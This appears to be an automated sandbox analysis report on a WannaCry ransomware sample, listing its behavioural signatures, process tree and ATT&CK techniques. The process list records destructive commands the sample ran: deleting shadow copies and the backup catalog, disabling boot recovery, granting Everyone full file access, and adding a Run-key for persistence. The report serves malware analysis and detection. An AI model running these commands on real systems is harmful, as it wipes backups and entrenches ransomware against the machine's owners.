Overview

overview

10

task1

 

10

task2

 

10

Resubmissions

18-10-2019 15:52

191018-8typv9j9fn 0

09-08-2019 12:22

190809-4hmrwf3nzs 0

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • resource
    win10v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

  • Sample

    191018-8typv9j9fn

  • SHA256

    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Score
N/A

Malware Config

Signatures

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Drops file in system dir 5 IoCs
  • Executes dropped EXE 16 IoCs
  • Wannacry file encrypt 64 IoCs
  • Drops Office document 29 IoCs
    dropperexploitermaldoc
  • Drops startup file 6 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Modifies file permissions 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Adds Run entry to start application 2 TTPs 1 IoCs
    persistence
  • wannacry family
    family
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Deletes shadow copies 2 TTPs 2 IoCs
    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion
  • Loads dropped DLL 1 IoCs
  • Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
    "C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
    1⤵
    • Wannacry file encrypt
    • Drops Office document
    • Drops startup file
    • Sets desktop wallpaper using registry
    • Suspicious use of WriteProcessMemory
    PID:4956
  • C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    1⤵
    • Views/modifies file attributes
    PID:4972
  • C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    1⤵
    • Modifies file permissions
    PID:4996
  • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
    taskdl.exe
    1⤵
    • Executes dropped EXE
    PID:1536
  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 67911571421170.bat
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4260
  • C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    1⤵
      PID:2820
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected] co
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4372
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /b @[email protected] vs
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3752
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected] vs
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2976
    • C:\Users\Admin\AppData\Local\Temp\taskse.exe
      taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4300
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected]
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Sets desktop wallpaper using registry
      PID:4284
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4236
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      1⤵
      • Executes dropped EXE
      PID:4128
    • C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
      1⤵
      • Adds Run entry to start application
      • Modifies registry key
      PID:4184
    • C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
      TaskData\Tor\taskhsvc.exe
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Loads dropped DLL
      PID:4896
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4292
    • C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      1⤵
      • Deletes shadow copies
      PID:660
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:840
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Deletes shadow copies
      PID:496
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      1⤵
      • Executes dropped EXE
      PID:1340
    • C:\Users\Admin\AppData\Local\Temp\taskse.exe
      taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1468
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Modifies service
      • Drops file in system dir
      PID:1984
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:2448
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        1⤵
        • Executes dropped EXE
        PID:5028
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5068
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
        • Checks system information in the registry (likely anti-VM)
        PID:4264
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k unistacksvcgroup
        1⤵
          PID:4192
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
          1⤵
          • Windows security modification
          PID:2812
        • C:\Users\Admin\AppData\Local\Temp\taskse.exe
          taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3724
        • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
          taskdl.exe
          1⤵
          • Executes dropped EXE
          PID:4328

        Network

        MITRE ATT&CK Enterprise v15

        MITRE ATT&CK Additional techniques

        • T1031
        • T1089
        • T1060
        • T1107
        • T1158

        Replay Monitor

        Loading Replay Monitor...

        Downloads